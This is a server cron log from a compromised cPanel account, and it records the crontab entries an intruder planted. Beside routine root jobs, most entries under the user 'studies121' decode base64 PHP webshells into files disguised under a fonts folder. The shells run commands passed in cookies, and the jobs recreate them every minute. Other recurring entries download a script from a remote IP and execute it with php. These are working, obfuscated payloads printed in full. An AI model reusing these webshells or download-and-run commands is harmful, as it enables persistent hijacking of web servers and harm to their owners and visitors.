Sep  8 21:43:01 ip-184-168-122-23 CROND[28790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:43:01 ip-184-168-122-23 CROND[28789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:44:01 ip-184-168-122-23 CROND[28897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:44:01 ip-184-168-122-23 CROND[28900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:44:01 ip-184-168-122-23 CROND[28899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:44:01 ip-184-168-122-23 CROND[28901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:44:01 ip-184-168-122-23 CROND[28902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:45:01 ip-184-168-122-23 CROND[28996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:45:01 ip-184-168-122-23 CROND[28997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:45:01 ip-184-168-122-23 CROND[28998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:45:01 ip-184-168-122-23 CROND[28999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:45:01 ip-184-168-122-23 CROND[29002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:45:01 ip-184-168-122-23 CROND[29004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:46:01 ip-184-168-122-23 CROND[29099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:46:01 ip-184-168-122-23 CROND[29102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:46:01 ip-184-168-122-23 CROND[29103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:46:01 ip-184-168-122-23 CROND[29104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:46:01 ip-184-168-122-23 CROND[29100]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:46:01 ip-184-168-122-23 CROND[29107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:46:01 ip-184-168-122-23 CROND[29108]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 21:47:01 ip-184-168-122-23 CROND[29290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:47:01 ip-184-168-122-23 CROND[29289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:47:01 ip-184-168-122-23 CROND[29288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:47:01 ip-184-168-122-23 CROND[29291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:48:01 ip-184-168-122-23 CROND[29453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:48:01 ip-184-168-122-23 CROND[29456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:48:01 ip-184-168-122-23 CROND[29457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:48:01 ip-184-168-122-23 CROND[29458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:48:01 ip-184-168-122-23 CROND[29455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:49:01 ip-184-168-122-23 CROND[29548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:49:01 ip-184-168-122-23 CROND[29547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:49:01 ip-184-168-122-23 CROND[29549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:49:01 ip-184-168-122-23 CROND[29550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:50:02 ip-184-168-122-23 CROND[29653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29662]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:50:02 ip-184-168-122-23 CROND[29661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:50:02 ip-184-168-122-23 CROND[29663]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:51:01 ip-184-168-122-23 CROND[29773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:51:01 ip-184-168-122-23 CROND[29775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:51:01 ip-184-168-122-23 CROND[29776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:51:01 ip-184-168-122-23 CROND[29777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:52:01 ip-184-168-122-23 CROND[29884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:52:01 ip-184-168-122-23 CROND[29887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:52:01 ip-184-168-122-23 CROND[29886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:52:01 ip-184-168-122-23 CROND[29885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:52:01 ip-184-168-122-23 CROND[29889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:53:01 ip-184-168-122-23 CROND[30055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:53:01 ip-184-168-122-23 CROND[30058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:53:01 ip-184-168-122-23 CROND[30056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:53:01 ip-184-168-122-23 CROND[30057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:54:01 ip-184-168-122-23 CROND[30138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:54:01 ip-184-168-122-23 CROND[30140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:54:01 ip-184-168-122-23 CROND[30142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:54:01 ip-184-168-122-23 CROND[30144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:54:01 ip-184-168-122-23 CROND[30143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:55:01 ip-184-168-122-23 CROND[30241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:55:01 ip-184-168-122-23 CROND[30243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
